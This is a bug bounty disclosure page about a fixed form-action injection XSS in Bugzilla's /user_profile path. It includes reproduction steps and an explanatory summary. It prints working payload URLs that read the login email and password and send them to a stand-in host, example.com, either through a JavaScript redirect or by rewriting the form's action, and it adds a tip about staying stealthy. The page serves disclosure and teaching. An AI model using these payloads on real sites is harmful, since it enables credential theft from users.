Form action injection in Bugzilla /user_profile (leads to XSS/single-factor credential leakage)
The Bugzilla login form's action attribute could be set to an attacker-controlled javascript: URL via a crafted path, leading to XSS when the user submits credentials. An attacker could steal the user's email and password or redirect the form submission to an external site.
Originally disclosed on Mozilla
- Fixed in 12 days
- Paid in 19 days
- Disclosed after 12 days
Created attachment 8957056
Screenshot of accessing the following URL, entering credentials, and clicking "Log in": https://bugzilla.mozilla.org/user_profile;/javascript:alert(document.domain)
I found an XSS bug on bugzilla.mozilla.org. The user must be logged out of Bugzilla.
Reproduction steps:
1) Visit the URL:
https://bugzilla.mozilla.org/user_profile;/javascript:alert(document.domain)
2) Under "I need an email address and password to continue" (third form visible), enter an email address and password.
3) Click "Log in". An alert box will pop up with the text "bugzilla.mozilla.org".
The javascript URL is ending up as the action of the login form.
This was tested successfully with Firefox 58.0.2 and Chromium 64.0.3282.167. It is currently being filtered by the XSS filter in IE 11. It may be possible to find a bypass for this filter, although the final payload below (simple form action overwrite) works in IE 11 despite the XSS filter.
The security impact is that a user's Bugzilla credentials could be stolen. It could also be possible to launch attacks against the user's browser.
Other example payloads:
The following URL will steal the user's email address and password, concatenate them separated by a colon, base64 the resulting string, and redirect to http://example.com/XXXX, where XXXX is the base64-encoded credentials string, exfiltrating the credentials to that site:
https://bugzilla.mozilla.org/user_profile;/javascript:d%3ddocument;d.location%3d"http:%5cu002f%5cu002fexample.com%5cu002f"%2bbtoa(d.getElementById("Bugzilla_login").value%2b":"%2bd.getElementById("Bugzilla_password").value)
The form can also simply be caused to submit to another URL, also exfiltrating the credentials using the resulting POST request. The following URL will exfiltrate the credentials to http://example.com:
https://bugzilla.mozilla.org/user_profile;/http:%5c%5cexample.com
(Note: This particular URL only works the first time it is accessed in Firefox, as the two URL-encoded backslashes are converted to forward slashes if the page is cached for some reason.)
(This can be made more stealthy by using an IP address or integer IP address.)
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
A user's Bugzilla credentials could be stolen, and attacks against the user's browser may be possible; the XSS filter in IE 11 blocked some payloads but a simple form action overwrite worked.
What the attacker needed
Victim must be logged out; victim clicks a crafted link; victim enters credentials and submits
How it was found
- Visit the crafted URL with the javascript: payload in the path.
- Enter an email address and password in the login form.
- Click the 'Log in' button, which triggers the injected javascript.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A login form normally sends your username and password to the website's own server. Here, an attacker could craft a link that makes the form send your details to a script or another website instead. This means your Bugzilla password could be stolen if you click the link and log in.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.